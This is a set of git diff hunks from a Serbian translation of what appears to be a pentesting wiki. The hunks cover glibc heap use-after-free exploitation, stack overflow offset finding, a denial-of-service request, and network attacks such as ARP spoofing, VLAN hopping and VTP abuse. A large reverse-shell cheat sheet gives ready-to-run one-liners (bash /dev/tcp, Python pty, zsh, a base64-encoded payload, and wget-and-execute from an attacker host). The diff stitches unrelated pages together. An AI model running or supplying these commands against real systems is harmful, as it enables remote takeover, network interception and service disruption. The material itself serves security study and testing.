U pravim eksploatacijama obično ćete dodati pomoćnu rutinu kao što je:
|
||||
```c
|
||||
@ -60,7 +60,7 @@ Once the tcache is exhausted, subsequent frees go to the unsorted bin and classi
|
||||
---
|
||||
### 🚩 Kreiranje UAF-a sa preklapajućim delovima koristeći first-fit
|
||||
|
||||
The fragment below (tested on glibc 2.38) shows how the splitter in the unsorted bin can be abused to create 2 **overlapping pointers** – a powerful primitive that converts a single free into a write-after-free.
|
||||
Fragment ispod (testiran na glibc 2.38) pokazuje kako se splitter u nesortiranom binu može iskoristiti za kreiranje 2 **preklapajuća pokazivača** – moćne primitivne operacije koja pretvara jedno oslobađanje u pisanje nakon oslobađanja.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -96,16 +96,16 @@ Exploitation recipe (common in recent CTFs):
|
||||
2. **Oslobodite** deo tako da završi u nesortiranoj kanti.
|
||||
3. **Alocirajte** malo manju veličinu – alokator deli nesortirani deo.
|
||||
4. **Alocirajte** ponovo – preostali deo se preklapa sa postojećim korišćenim delom → UAF.
|
||||
5. Prepišite osetljive polja (pokazivače na funkcije, FILE vtable, itd.)
|
||||
5. Prepišite osetljive polja (pokazivače funkcija, FILE vtable, itd.)
|
||||
|
||||
Praktična primena može se naći u 2024 HITCON Quals *Setjmp* izazovu gde se ova tačno primitivna tehnika koristi za prebacivanje sa UAF na punu kontrolu nad `__free_hook`.{{#ref}}
|
||||
Praktična primena može se naći u 2024 HITCON Quals *Setjmp* izazovu gde se ova tačno primitivna tehnika koristi za prebacivanje sa UAF na potpunu kontrolu nad `__free_hook`.{{#ref}}
|
||||
../../../../references/2024_setjmp_firstfit.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
### 🛡️ Mogućnosti zaštite i učvršćivanja
|
||||
|
||||
* **Sigurno povezivanje (glibc ≥ 2.32)** štiti samo jednostruko povezane *tcache*/**fastbin** liste. Nesortirane/male/velike kante i dalje čuvaju sirove pokazivače, tako da preklapanja zasnovana na prvom odgovoru ostaju moguća ako možete dobiti heap leak.
|
||||
* **Sigurno povezivanje (glibc ≥ 2.32)** štiti samo jednostruko povezane *tcache*/**fastbin** liste. Nesortirane/male/velike kante i dalje čuvaju sirove pokazivače, tako da preklapanja zasnovana na prvom odgovoru ostaju moguća ako možete dobiti curenje iz heap-a.
|
||||
* **Enkripcija pokazivača na heap i MTE** (ARM64) još uvek ne utiču na x86-64 glibc, ali oznake za učvršćivanje distribucije kao što su `GLIBC_TUNABLES=glibc.malloc.check=3` će prekinuti rad na nekonzistentnim metapodacima i mogu prekinuti naivne PoC-ove.
|
||||
* **Popunjavanje tcache prilikom oslobađanja** (predloženo 2024. za glibc 2.41) dodatno bi smanjilo korišćenje nesortiranih; pratite buduće verzije prilikom razvijanja generičkih eksploata.
|
||||
|
||||
@ -114,15 +114,15 @@ Praktična primena može se naći u 2024 HITCON Quals *Setjmp* izazovu gde se ov
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Use after free: Generišite korisnički objekat, oslobodite ga, generišite objekat koji dobija oslobođeni deo i omogućite pisanje u njega, **prepisujući poziciju user->password** iz prethodnog. Ponovo koristite korisnika da **obiđete proveru lozinke**
|
||||
- ARM64. Upotreba nakon oslobađanja: Generišite korisnički objekat, oslobodite ga, generišite objekat koji dobija oslobođeni deo i omogućite pisanje u njega, **prepisujući poziciju user->password** iz prethodnog. Ponovo upotrebite korisnika da **obiđete proveru lozinke**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- Program omogućava kreiranje beleški. Beleška će imati informacije o belešci u malloc(8) (sa pokazivačem na funkciju koja bi mogla biti pozvana) i pokazivač na drugi malloc(<size>) sa sadržajem beleške.
|
||||
- Napad bi bio da se kreiraju 2 beleške (note0 i note1) sa većim malloc sadržajem od veličine informacija o belešci i zatim ih osloboditi kako bi ušle u brzu kantu (ili tcache).
|
||||
- Zatim, kreirajte još jednu belešku (note2) sa veličinom sadržaja 8. Sadržaj će biti u note1 jer će se deo ponovo koristiti, gde bismo mogli modifikovati pokazivač na funkciju da pokazuje na win funkciju i zatim Use-After-Free note1 da pozovemo novi pokazivač na funkciju.
|
||||
- Zatim, kreirajte još jednu belešku (note2) sa veličinom sadržaja 8. Sadržaj će biti u note1 jer će se deo ponovo koristiti, gde bismo mogli da modifikujemo pokazivač funkcije da upućuje na win funkciju i zatim Upotreba-Nakon-Oslobađanja note1 da pozove novi pokazivač funkcije.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- Moguće je alocirati neku memoriju, napisati željenu vrednost, osloboditi je, ponovo alocirati i pošto su prethodni podaci još uvek tu, biće tretirani prema novoj očekivanoj strukturi u delu, što omogućava postavljanje vrednosti za dobijanje zastavice.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- U ovom slučaju potrebno je napisati 4 unutar specifičnog dela koji je prvi koji se alocira (čak i nakon prisilnog oslobađanja svih njih). Na svakom novom alociranom delu, njegov broj u indeksu niza se čuva. Zatim, alocirajte 4 dela (+ inicijalno alocirani), poslednji će imati 4 unutar njega, oslobodite ih i prisilite ponovnu alokaciju prvog, koji će koristiti poslednji oslobođeni deo koji je onaj sa 4 unutar njega.
|
||||
- U ovom slučaju potrebno je napisati 4 unutar specifičnog dela koji je prvi koji se alocira (čak i nakon prisilnog oslobađanja svih njih). Na svakom novom alociranom delu njegovo broj u indeksu niza se čuva. Zatim, alocirajte 4 dela (+ inicijalno alocirani), poslednji će imati 4 unutar njega, oslobodite ih i prisilite ponovnu alokaciju prvog, koji će koristiti poslednji oslobođeni deo koji je onaj sa 4 unutar njega.
|
||||
- 2024 HITCON Quals Setjmp izveštaj (Quarkslab) – praktičan napad preklapanja prvog odgovora / nesortiranog dela: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* izveštaj – zloupotreba deljenja nesortirane kante za curenje libc i dobijanje preklapanja: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
|
||||
|
@ -21,11 +21,11 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Pronalaženje offset-a za Stack Overflow
|
||||
### Pronalaženje offseta za Stack Overflow
|
||||
|
||||
Najčešći način za pronalaženje stack overflow-a je davanje veoma velikog unosa `A`s (npr. `python3 -c 'print("A"*1000)'`) i očekivanje `Segmentation Fault` koji ukazuje da je **adresu `0x41414141` pokušano pristupiti**.
|
||||
|
||||
Pored toga, kada pronađete da postoji ranjivost na Stack Overflow, biće potrebno da pronađete offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine _n_ pojavljuje tačno jednom** kao kontigvna podsekvenca.
|
||||
Štaviše, kada pronađete da postoji ranjivost na Stack Overflow, biće potrebno pronaći offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine _n_ pojavljuje tačno jednom** kao kontiguitetna podsekvenca.
|
||||
|
||||
Na ovaj način, umesto da ručno otkrivate koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao punjenje jednu od ovih sekvenci i zatim pronaći offset bajtova koji su završili prepisivanje.
|
||||
|
||||
@ -41,7 +41,7 @@ eip_value = p32(0x6161616c)
|
||||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||||
print(f"The offset is: {offset}")
|
||||
```
|
||||
или **GEF**:
|
||||
ili **GEF**:
|
||||
```bash
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Iskorišćavanje Stack Overflow-a
|
||||
|
||||
Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka sve dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
|
||||
Najčešći način da se zloupotrebi ova vrsta ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovom pokazivaču.
|
||||
Tokom prelivanja (pretpostavljajući da je veličina prelivanja dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka sve dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
|
||||
Najčešći način zloupotrebe ove vrste ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovoj pokazivaču.
|
||||
|
||||
Međutim, u drugim scenarijima možda će samo **prepisivanje nekih vrednosti promenljivih u steku** biti dovoljno za eksploataciju (kao u lakim CTF izazovima).
|
||||
|
||||
### Ret2win
|
||||
|
||||
U ovim vrstama CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično bi [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) bio onemogućen) tako da kada se ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
|
||||
U ovom tipu CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično bi [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) bio onemogućen) tako da kada se ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... tehnike
|
||||
|
||||
Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **Neizvršni stek (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će završiti izvršavanjem proizvoljnih komandi zloupotrebom postojećih instrukcija u binarnom fajlu:
|
||||
Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **No executable stack (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će završiti izvršavanjem proizvoljnih komandi zloupotrebom postojećih instrukcija u binarnom fajlu:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -81,7 +81,7 @@ Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike:
|
||||
|
||||
## Heap Overflows
|
||||
|
||||
Overflow ne mora uvek biti u steku, može biti i u **heap-u** na primer:
|
||||
Prelivanje se ne mora uvek dešavati u steku, može se takođe desiti u **heap-u** na primer:
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
@ -116,7 +116,7 @@ warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Iako stack kanari abortiraju proces, napadač i dalje dobija **Denial-of-Service** primitivu (i, uz dodatne informacije o curenju, moguće izvršavanje koda). Lekcija je jednostavna:
|
||||
Iako stack kanari abortiraju proces, napadač i dalje dobija **Denial-of-Service** primitivu (i, uz dodatne informacije o curenju, moguće izvršenje koda). Lekcija je jednostavna:
|
||||
|
||||
* Uvek obezbedite **maksimalnu širinu polja** (npr. `%511s`).
|
||||
* Preferirajte sigurnije alternative kao što su `snprintf`/`strncpy_s`.
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
## Full TTY
|
||||
|
||||
**Kada dobijete reverznu ljusku**[ **pročitajte ovu stranicu da biste dobili pun TTY**](full-ttys.md)**.**
|
||||
**Kada dobijete reverznu ljusku**[ **pročitajte ovu stranicu da dobijete pun TTY**](full-ttys.md)**.**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
@ -23,7 +23,7 @@ exec >&0
|
||||
```
|
||||
Ne zaboravite da proverite sa drugim shell-ovima: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
|
||||
|
||||
### Siguran simbol shell
|
||||
### Symbol safe shell
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
@ -36,11 +36,11 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
||||
|
||||
1. **`bash -i`**: Ovaj deo komande pokreće interaktivni (`-i`) Bash shell.
|
||||
2. **`>&`**: Ovaj deo komande je skraćena notacija za **preusmeravanje standardnog izlaza** (`stdout`) i **standardne greške** (`stderr`) na **istu destinaciju**.
|
||||
3. **`/dev/tcp/<NAPADAČ-IP>/<PORT>`**: Ovo je posebna datoteka koja **predstavlja TCP vezu sa navedenom IP adresom i portom**.
|
||||
- Preusmeravanjem izlaza i grešaka na ovu datoteku, komanda efikasno šalje izlaz interaktivne shell sesije na mašinu napadača.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Ovo je poseban fajl koji **predstavlja TCP vezu sa navedenom IP adresom i portom**.
|
||||
- Preusmeravanjem izlaza i tokova grešaka na ovaj fajl, komanda efikasno šalje izlaz interaktivne shell sesije na mašinu napadača.
|
||||
4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na istu destinaciju kao standardni izlaz (`stdout`)**.
|
||||
|
||||
### Kreiraj u datoteci i izvrši
|
||||
### Kreiraj u fajlu i izvrši
|
||||
```bash
|
||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||||
@ -124,7 +124,7 @@ Da biste poslali komandu, otkucajte je, pritisnite enter i pritisnite CTRL+D (da
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||
```
|
||||
## Питон
|
||||
## Python
|
||||
```bash
|
||||
#Linux
|
||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
@ -226,7 +226,7 @@ zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPL
|
||||
```
|
||||
## Rustcat (rcat)
|
||||
|
||||
[https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – moderan netcat-sličan slušalac napisan u Rust-u (pakovan u Kali od 2024).
|
||||
[https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – moderan netcat-sličan slušalac napisan u Rustu (pakovan u Kali od 2024).
|
||||
```bash
|
||||
# Attacker – interactive TLS listener with history & tab-completion
|
||||
rcat listen -ib 55600
|
||||
|
@ -12,8 +12,8 @@ U ovoj situaciji imate neki **opseg IP adresa** (možda čak i nekoliko **raspon
|
||||
### ICMP
|
||||
|
||||
Ovo je **najlakši** i **najbrži** način da otkrijete da li je host aktivan ili ne.\
|
||||
Možete pokušati da pošaljete neke **ICMP** pakete i **očekujete odgovore**. Najlakši način je jednostavno slanje **echo request** i očekivanje odgovora. To možete uraditi koristeći jednostavan `ping` ili koristeći `fping` za **raspone**.\
|
||||
Takođe možete koristiti **nmap** da pošaljete druge tipove ICMP paketa (to će izbeći filtere za uobičajene ICMP echo request-response).
|
||||
Možete pokušati da pošaljete neke **ICMP** pakete i **očekujete odgovore**. Najlakši način je jednostavno slanje **echo zahteva** i očekivanje odgovora. To možete uraditi koristeći jednostavan `ping` ili koristeći `fping` za **raspone**.\
|
||||
Takođe možete koristiti **nmap** da pošaljete druge tipove ICMP paketa (to će izbeći filtere za uobičajene ICMP echo zahtev-odgovor).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
@ -37,7 +37,7 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDP Port Discovery
|
||||
|
||||
Možete takođe pokušati da proverite da li je neki **UDP port otvoren** kako biste odlučili da li treba da **obratite više pažnje** na **host.** Pošto UDP servisi obično **ne odgovaraju** sa **bilo kojim podacima** na običan prazan UDP probni paket, teško je reći da li je port filtriran ili otvoren. Najlakši način da to odlučite je da pošaljete paket vezan za aktivnu uslugu, a pošto ne znate koja usluga radi, trebali biste probati najverovatniju na osnovu broja porta:
|
||||
Možete takođe pokušati da proverite da li je neki **UDP port otvoren** kako biste odlučili da li treba da **obratite više pažnje** na **host.** Pošto UDP servisi obično **ne odgovaraju** sa **bilo kojim podacima** na običan prazan UDP probni paket, teško je reći da li je port filtriran ili otvoren. Najlakši način da to odlučite je da pošaljete paket vezan za aktivnu uslugu, a pošto ne znate koja usluga radi, trebali biste pokušati sa najverovatnijom na osnovu broja porta:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
@ -99,17 +99,17 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
### Active ICMP
|
||||
|
||||
Napomena da se tehnike komentarisane u _Otkrivanju hostova sa spolja_ ([_**ICMP**_](#icmp)) takođe mogu **primeniti ovde**.\
|
||||
Ali, pošto ste u **isto mreži** kao i ostali hostovi, možete uraditi **više stvari**:
|
||||
Ali, pošto ste u **istoј mreži** kao i ostali hostovi, možete uraditi **više stvari**:
|
||||
|
||||
- Ako **pingujete** **adresu za emitovanje podmreže**, ping bi trebao da stigne do **svakog hosta** i oni bi mogli da **odgovore** **vama**: `ping -b 10.10.5.255`
|
||||
- Pingovanjem **adresu za emitovanje mreže** mogli biste čak pronaći hostove unutar **drugih podmreža**: `ping -b 255.255.255.255`
|
||||
- Koristite `-PE`, `-PP`, `-PM` zastavice `nmap` za otkrivanje hostova slanjem **ICMPv4 echo**, **vremenskih oznaka** i **zahteva za masku podmreže:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- Koristite `-PE`, `-PP`, `-PM` zastavice `nmap` za otkrivanje hostova slanjem **ICMPv4 echo**, **vremenskih oznaka**, i **zahteva za masku podmreže:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan se koristi za **uključivanje** računara putem **mrežne poruke**. Magični paket koji se koristi za uključivanje računara je samo paket u kojem je **MAC Dst** naveden i zatim se **ponavlja 16 puta** unutar istog paketa.\
|
||||
Ove vrste paketa se obično šalju u **ethernet 0x0842** ili u **UDP paket na portu 9**.\
|
||||
Ako **nije naveden \[MAC]**, paket se šalje na **emitovanje ethernet** (i emitovani MAC će biti onaj koji se ponavlja).
|
||||
Wake On Lan se koristi za **uključivanje** računara putem **mrežne poruke**. Magični paket koji se koristi za uključivanje računara je samo paket u kojem je **MAC Dst** naveden, a zatim se **ponavlja 16 puta** unutar istog paketa.\
|
||||
Ove vrste paketa se obično šalju u **ethernet 0x0842** ili u **UDP paketu na port 9**.\
|
||||
Ako **nema \[MAC]** naveden, paket se šalje na **emitovanje ethernet** (a emitovani MAC će biti onaj koji se ponavlja).
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
@ -141,7 +141,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
Postoje 2 opcije za skeniranje UDP porta:
|
||||
|
||||
- Pošaljite **UDP paket** i proverite odgovor _**ICMP unreachable**_ ako je port **zatvoren** (u nekoliko slučajeva ICMP će biti **filtriran** pa nećete dobiti nikakve informacije ako je port zatvoren ili otvoren).
|
||||
- Pošaljite **formatirane datagrame** da izazovete odgovor od **usluge** (npr., DNS, DHCP, TFTP i druge, kako je navedeno u _nmap-payloads_). Ako dobijete **odgovor**, onda je port **otvoren**.
|
||||
- Pošaljite **formatirane datagrame** da izazovete odgovor od **usluge** (npr., DNS, DHCP, TFTP i druge, kako je navedeno u _nmap-payloads_). Ako dobijete **odgovor**, tada je port **otvoren**.
|
||||
|
||||
**Nmap** će **kombinovati obe** opcije koristeći "-sV" (UDP skeniranja su veoma spora), ali imajte na umu da su UDP skeniranja sporija od TCP skeniranja:
|
||||
```bash
|
||||
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
Sniffing možete saznati detalje o IP opsezima, veličinama podmreža, MAC adresama i nazivima hostova pregledanjem uhvaćenih okvira i paketa. Ako je mreža pogrešno konfigurisana ili je preopterećena, napadači mogu uhvatiti osetljive materijale putem pasivnog mrežnog sniffinga.
|
||||
Sniffing možete saznati detalje o IP opsezima, veličinama podmreža, MAC adresama i imenima hostova pregledajući uhvaćene okvire i pakete. Ako je mreža pogrešno konfigurisana ili je preopterećena, napadači mogu uhvatiti osetljive materijale putem pasivnog mrežnog sniffinga.
|
||||
|
||||
Ako je preklopna Ethernet mreža pravilno konfigurisana, videćete samo broadcast okvire i materijale namenjene vašoj MAC adresi.
|
||||
|
||||
@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM overflow
|
||||
|
||||
Preplavite CAM tabelu prekidača slanjem velikog broja paketa sa različitim izvornih MAC adresama. Kada je CAM tabela puna, prekidač počinje da se ponaša kao hub (broadcast-uje sav saobraćaj).
|
||||
Preplavite CAM tabelu prekidača slanjem velikog broja paketa sa različitim izvorim MAC adresama. Kada je CAM tabela puna, prekidač počinje da se ponaša kao hub (broadcast-uje sav saobraćaj).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
@ -258,9 +258,9 @@ U modernim prekidačima ova ranjivost je ispravljena.
|
||||
|
||||
**Dynamic Trunking Protocol (DTP)** je dizajniran kao protokol na link nivou kako bi olakšao automatski sistem za trunkovanje, omogućavajući prekidačima da automatski biraju portove za trunk mod (Trunk) ili non-trunk mod. Implementacija **DTP** se često smatra pokazateljem suboptimalnog dizajna mreže, naglašavajući važnost ručne konfiguracije trunkova samo gde je to neophodno i osiguranje pravilne dokumentacije.
|
||||
|
||||
Podrazumevano, portovi prekidača su postavljeni da rade u Dynamic Auto modu, što znači da su spremni da iniciraju trunkovanje ako ih pozove susedni prekidač. Bezbednosna zabrinutost se javlja kada se pentester ili napadač poveže na prekidač i pošalje DTP Desirable okvir, primoravajući port da pređe u trunk mod. Ova akcija omogućava napadaču da enumeriše VLAN-ove kroz analizu STP okvira i zaobiđe VLAN segmentaciju postavljanjem virtuelnih interfejsa.
|
||||
Podrazumevano, portovi prekidača su postavljeni da rade u Dynamic Auto modu, što znači da su spremni da započnu trunkovanje ako ih pozove susedni prekidač. Bezbednosna zabrinutost se javlja kada pentester ili napadač poveže na prekidač i pošalje DTP Desirable okvir, primoravajući port da pređe u trunk mod. Ova akcija omogućava napadaču da enumeriše VLAN-ove kroz analizu STP okvira i zaobiđe VLAN segmentaciju postavljanjem virtuelnih interfejsa.
|
||||
|
||||
Prisutnost DTP u mnogim prekidačima podrazumevano može biti iskorišćena od strane protivnika da imituje ponašanje prekidača, čime se stiče pristup saobraćaju kroz sve VLAN-ove. Skripta [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se koristi za praćenje interfejsa, otkrivajući da li je prekidač u Default, Trunk, Dynamic, Auto ili Access modu—potonji je jedina konfiguracija imuna na VLAN hopping napade. Ovaj alat procenjuje status ranjivosti prekidača.
|
||||
Prisutnost DTP u mnogim prekidačima podrazumevano može biti iskorišćena od strane protivnika da imituje ponašanje prekidača, čime se stiče pristup saobraćaju kroz sve VLAN-ove. Skripta [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se koristi za praćenje interfejsa, otkrivajući da li je prekidač u Default, Trunk, Dynamic, Auto ili Access modu—poslednji je jedina konfiguracija imuna na VLAN hopping napade. Ovaj alat procenjuje status ranjivosti prekidača.
|
||||
|
||||
Ukoliko se identifikuje ranjivost mreže, alat _**Yersinia**_ može biti korišćen za "omogućavanje trunkovanja" putem DTP protokola, omogućavajući posmatranje paketa iz svih VLAN-ova.
|
||||
```bash
|
||||
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
Da biste enumerisali VLAN-ove, takođe je moguće generisati DTP Desirable okvir pomoću skripte [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**e prekidajte skriptu ni pod kojim okolnostima. Ona injektuje DTP Desirable svake tri sekunde. **Dinamčki kreirani trunk kanali na switch-u žive samo pet minuta. Nakon pet minuta, trunk se gasi.**
|
||||
Da biste enumerisali VLAN-ove, takođe je moguće generisati DTP Desirable okvir pomoću skripte [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**emojte prekidati skriptu pod bilo kojim okolnostima. Ona injektuje DTP Desirable svake tri sekunde. **Dinamčki kreirani trunk kanali na switch-u žive samo pet minuta. Nakon pet minuta, trunk se gasi.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
@ -327,13 +327,13 @@ Napad o kojem se govori, **Dynamic Trunking i kreiranje virtuelnih interfejsa za
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
Ako napadač zna vrednost **MAC, IP i VLAN ID žrtve**, može pokušati da **duplo označi okvir** sa svojim dodeljenim VLAN-om i VLAN-om žrtve i pošalje paket. Kako **žrtva neće moći da se poveže nazad** sa napadačem, **najbolja opcija za napadača je komunikacija putem UDP-a** sa protokolima koji mogu izvršiti neke zanimljive akcije (kao što je SNMP).
|
||||
Ako napadač zna vrednosti **MAC, IP i VLAN ID žrtvovnog hosta**, može pokušati da **duplo označi okvir** sa njegovim dodeljenim VLAN-om i VLAN-om žrtve i pošalje paket. Kako **žrtva neće moći da se poveže nazad** sa napadačem, **najbolja opcija za napadača je komunikacija putem UDP** sa protokolima koji mogu izvršiti neke zanimljive akcije (kao što je SNMP).
|
||||
|
||||
Druga opcija za napadača je da pokrene **TCP port skeniranje lažirajući IP koji kontroliše napadač i koji je dostupan žrtvi** (verovatno putem interneta). Tada bi napadač mogao da prisluškuje na drugom hostu koji mu pripada ako primi neke pakete od žrtve.
|
||||
|
||||
.png>)
|
||||
|
||||
Za izvođenje ovog napada možete koristiti scapy: `pip install scapy`
|
||||
Da biste izvršili ovaj napad, možete koristiti scapy: `pip install scapy`
|
||||
```python
|
||||
from scapy.all import *
|
||||
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
|
||||
@ -366,13 +366,13 @@ VTP (VLAN Trunking Protocol) centralizuje upravljanje VLAN-ovima. Koristi brojev
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **VTP Server:** Upravljanje VLAN-ovima—kreira, briše, modifikuje. Emituje VTP obaveštenja članovima domena.
|
||||
- **VTP Client:** Prima VTP obaveštenja kako bi sinhronizovao svoju VLAN bazu podataka. Ova uloga je ograničena na lokalne izmene VLAN konfiguracije.
|
||||
- **VTP Client:** Prima VTP obaveštenja kako bi sinhronizovao svoju VLAN bazu podataka. Ova uloga je ograničena od lokalnih modifikacija VLAN konfiguracije.
|
||||
- **VTP Transparent:** Ne učestvuje u VTP ažuriranjima, ali prosleđuje VTP obaveštenja. Nije pogođen VTP napadima, održava konstantan broj revizije nula.
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
- **Summary Advertisement:** Emituje ga VTP server svake 300 sekundi, noseći osnovne informacije o domenu.
|
||||
- **Subset Advertisement:** Šalje se nakon izmena VLAN konfiguracije.
|
||||
- **Subset Advertisement:** Šalje se nakon promena u VLAN konfiguraciji.
|
||||
- **Advertisement Request:** Izdaje ga VTP klijent da zatraži Summary Advertisement, obično kao odgovor na otkrivanje višeg broja revizije konfiguracije.
|
||||
|
||||
VTP ranjivosti su iskoristive isključivo putem trunk portova, jer VTP obaveštenja cirkulišu samo kroz njih. Post-DTP napadi mogu se preusmeriti ka VTP-u. Alati poput Yersinia mogu olakšati VTP napade, sa ciljem da unište VLAN bazu podataka, efikasno ometajući mrežu.
|
||||
@ -381,15 +381,15 @@ Napomena: Ova diskusija se odnosi na VTP verziju 1 (VTPv1).
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
